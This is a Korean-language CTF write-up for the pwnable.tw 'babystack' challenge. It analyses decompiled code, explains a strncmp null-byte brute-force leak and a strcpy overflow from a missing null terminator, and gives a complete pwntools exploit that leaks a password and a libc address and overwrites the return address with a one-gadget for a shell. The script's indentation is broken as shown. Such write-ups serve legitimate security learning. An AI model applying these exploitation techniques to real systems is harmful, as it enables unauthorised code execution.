본문으로 바로가기

pwnable.tw babystack ( 250pts )

Mitigation

[*] '/home/juntae/wargame/pwnable.tw/babystack/babystack'
   Arch:     amd64-64-little
   RELRO:    Full RELRO
   Stack:    Canary found
   NX:       NX enabled
   PIE:      PIE enabled
   FORTIFY:  Enabled

매우 빡치게 미티게이션이 다걸려있습니다.

여기서 카나리는 __stack_check_fail함수를 사용하기때문에 걸려있습니다.

checksec에서는 해당 함수를 사용하면 카나리가 있다고 판단하나봐요.


Analysis

main()

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
 _QWORD *v3; // rcx
 __int64 v4; // rdx
 char copy_buf; // [rsp+0h] [rbp-60h]
 __int64 password; // [rsp+40h] [rbp-20h]
 __int64 v8; // [rsp+48h] [rbp-18h]
 char select; // [rsp+50h] [rbp-10h]

 setup();
 random_fd[0] = open("/dev/urandom", 0);
 read(random_fd[0], &password, 0x10uLL);
 v3 = maping_address;
 v4 = v8;
 *maping_address = password;
 v3[1] = v4;
 close(random_fd[0]);
 while ( 1 )
{
   write(1, ">> ", 3uLL);
   _read_chk(0LL, &select, 16LL, 16LL);
   if ( select == '2' )                        // exit()
     break;
   if ( select == '3' )
  {
     if ( check )
       magic_copy(&copy_buf);
     else
       puts("Invalid choice");
  }
   else if ( select == '1' )
  {
     if ( check )
       check = 0;
     else
       check_password(&password);
  }
   else
  {
     puts("Invalid choice");
  }
}

 if ( !check )
   exit(0);
 if ( memcmp(&password, maping_address, 0x10uLL) )
   JUMPOUT(exit_routine);
 return 0LL;
}

main함수입니다. 먼저 setup함수에서 기본적인 셋팅을 진행해주고 나옵니다.

알람이 30분으로 걸려있길래 뭔가 심상치 않았는데 정말 미친문제입니다.

password에 랜덤으로 16개의 값을 넣어주고, 메인 루틴으로 들어갑니다.

선택지는 '1','2','3' 이렇게 3가지가 있습니다.

먼저 1입니다.


first routine

    else if ( select == '1' )
  {
     if ( check )
       check = 0;
     else
       check_password(&password);
  }
int __fastcall check_password(const char *password)
{
 size_t buf_len; // rax
 char input; // [rsp+10h] [rbp-80h]

 printf("Your passowrd :");
 read_str(&input, 0x7Fu);
 buf_len = strlen(&input);
 if ( strncmp(&input, password, buf_len) )
   return puts("Failed !");
 check = 1;
 return puts("Login Success !");
}

check_password함수에서는 패스워드가 랜덤한 문자와 일치하는지 검사합니다.

여기서 취약점은 strncmp에 있습니다.

strncmp는 NULL Byte 까지 검사를 진행합니다.


따라서 첫바이트가 NULL이면 로그인에 무조건 성공 할 수 있습니다.

동일한 원리로, 첫번째 바이트를 0x01 부터 0xff까지 브루트포싱하고, 2번째 바이트를 NULL로 세팅하게되면, 패스워드의 첫번째 바이트를 얻어낼 수 있습니다.

이렇게 모든 패스워드를 얻어낼 수 있습니다.


second routine

    if ( select == '2' )                        // exit()
     break;

프로그램을 종료합니다. exit()를 사용하지않으므로 ret을 변조해야 한다는것을 추측할 수 있습니다.


third routine

    if ( select == '3' )
  {
     if ( check )
       magic_copy(&copy_buf);
     else
       puts("Invalid choice");
  }
int __fastcall magic_copy(char *copy_buf)
{
 char src; // [rsp+10h] [rbp-80h]

 printf("Copy :");
 read_str(&src, 63u);
 strcpy(copy_buf, &src);
 return puts("It is magic copy !");
}
unsigned __int8 *__fastcall read_str(unsigned __int8 *buf, unsigned int size)
{
 unsigned __int8 *result; // rax
 int input_size; // [rsp+1Ch] [rbp-4h]

 input_size = read(0, buf, size);
 if ( input_size <= 0 )
{
   puts("read error");
   exit(1);
}
 result = buf[input_size - 1];
 if ( result == '\n' )
{
   result = &buf[input_size - 1];
   *result = '\0';
}
 return result;
}

만약 로그인에 성공해서 check가 1이면 magic_copy를 진행합니다.

src에 값을 입력하고 그만큼 main함수에 있는 copy_buf에 값을 넣어줍니다.

핵심 취약점은 여기서 발생합니다.

read함수는 원래 NULL terminate를 해주지 않습니다.

그래서 자체 입력함수인 read_str에서 마지막 바이트가 '\n'인지 검사하고 개행문자를 NULL 문자로 치환시켜주는것을 볼 수 있습니다.

하지만, 버퍼에 63 값을 꽉 채우면 '\n'이 들어가지 않습니다.

따라서 NULL문자를 붙히지않을 수 있습니다.


이건 strcpy에 응용할 수 있습니다.

strcpy는 NULL문자까지 복사하는데, NULL문자를 지워주었으므로, 오버플로우가 가능합니다.

check_password는 최대 0x7f만큼 입력받을 수 있고, magic_copy에서 copy된 결과는 main함수의 copy_buf로 넘어가게 됩니다.

해당 변수는 ebp-0x60에 위치해 있으므로, NULL문자를 제거하여 오버플로우를 트리거할 수 있다면, rip를 변조할 수 있게됩니다.


finally..

  if ( memcmp(&password, maping_address, 0x10uLL) )
   JUMPOUT(exit_routine);

마지막으로 이런 루틴이 있습니다.

어셈블리로 보면 아래와 같습니다.

.text:0000000000001001                 mov     eax, 0
.text:0000000000001006                 call    __stack_chk_fail
.text:000000000000100B ; -----------------------------------------

여기서 __stack_chk_fail을 사용해서 카나리가 있다고 뜨는거였네요.

마지막에 익스할때는 패스워드를 오버플로우 시키므로, 패스워드를 원래대로 돌려놔야 합니다.


Leak

오버플로우로 패스워드를 변조할 수 있습니다. 그리고 check로 패스워드 뒷부분까지 브루트포싱해서 알아낼 수 있습니다.

패스워드를 브루트포싱한 것 처럼, libc부분이 있을때까지 더미로 덮어줍니다.

그리고 check_password함수를 이용하여 libc영역을 leak할 수 있습니다.


Exploit

from pwn import *

context.log_level = "debug"

e = ELF("./babystack")

libc = ELF("./libc_64.so.6")
#libc = e.libc

r = remote("chall.pwnable.tw", 10205)
#r = process("./babystack",aslr = False)

def go(data):
    r.sendafter(">> ","1")
    r.sendafter("Your passowrd :",data)

def leak_password():
    progress = log.progress("Password leak")
    password = ""
    for i in range(0,0x10):
    for j in range(0x1,0xff + 1):
    payload = password + chr(j) + "\x00"
    go(payload)
    response = r.recvline()
    if "Login Success !" in response:
    password += chr(j)
    log.info("password len : " + hex(len(password)))
    r.sendafter(">> ","1")
    break

progress.success("Finish leak password.")
return password

def leak_libcbase():
    payload = ""
    payload += "\x00" + "B" * (0x58 - 0x1)
    go(payload)
    copy("A" * 63)
  
    progress = log.progress("Libcbase leak")
    libcbase = ""
    r.sendafter(">> ","1")
    for i in range(0,0x6):
    for j in range(0x1,0xff + 1):
    payload = ""
    payload += "B" * 0x10 + "\x31"
    payload += "B" * 7 + libcbase + chr(j) + "\x00"
    go(payload)
    response = r.recvline()
    if "Login Success !" in response:
    libcbase += chr(j)
    r.sendafter(">> ","1")
    break

progress.success("Finish leak libcbase.")
return libcbase

def copy(data):

    r.sendafter(">> ","3")
    r.sendafter("Copy :",data)

pie = 0x555555554000
log.info("pie : " + hex(pie))

password = leak_password()
libcbase = u64(leak_libcbase() + "\x00\x00")
libcbase -= libc.symbols["setvbuf"] + 324
#oneshot = libcbase + 0xf1147 # local
oneshot = libcbase + 0xf0567
log.info("libc_base : " + hex(libcbase))
log.info("oneshot : " + hex(oneshot))

payload = ""
payload += "\x00"
payload += "B" * (0x40 - 0x1)
payload += password
payload += "C" * 0x18
payload += p64(oneshot)
go(payload)

copy("A" * 63)

r.interactive()

디버깅하면서 스택에 값이 들어가는걸 보고, 브포때리면서 하나하나씩 leak하면 됩니다.


Flag

[*] Switching to interactive mode
[DEBUG] Received 0x12 bytes:
   'It is magic copy !'
It is magic copy ![DEBUG] Received 0x4 bytes:
   '\n'
   '>> '

>> $ 2
[DEBUG] Sent 0x2 bytes:
   '2\n'
$ id
[DEBUG] Sent 0x3 bytes:
   'id\n'
[DEBUG] Received 0x3f bytes:
   'uid=1000(babystack) gid=1000(babystack) groups=1000(babystack)\n'
uid=1000(babystack) gid=1000(babystack) groups=1000(babystack)

끝!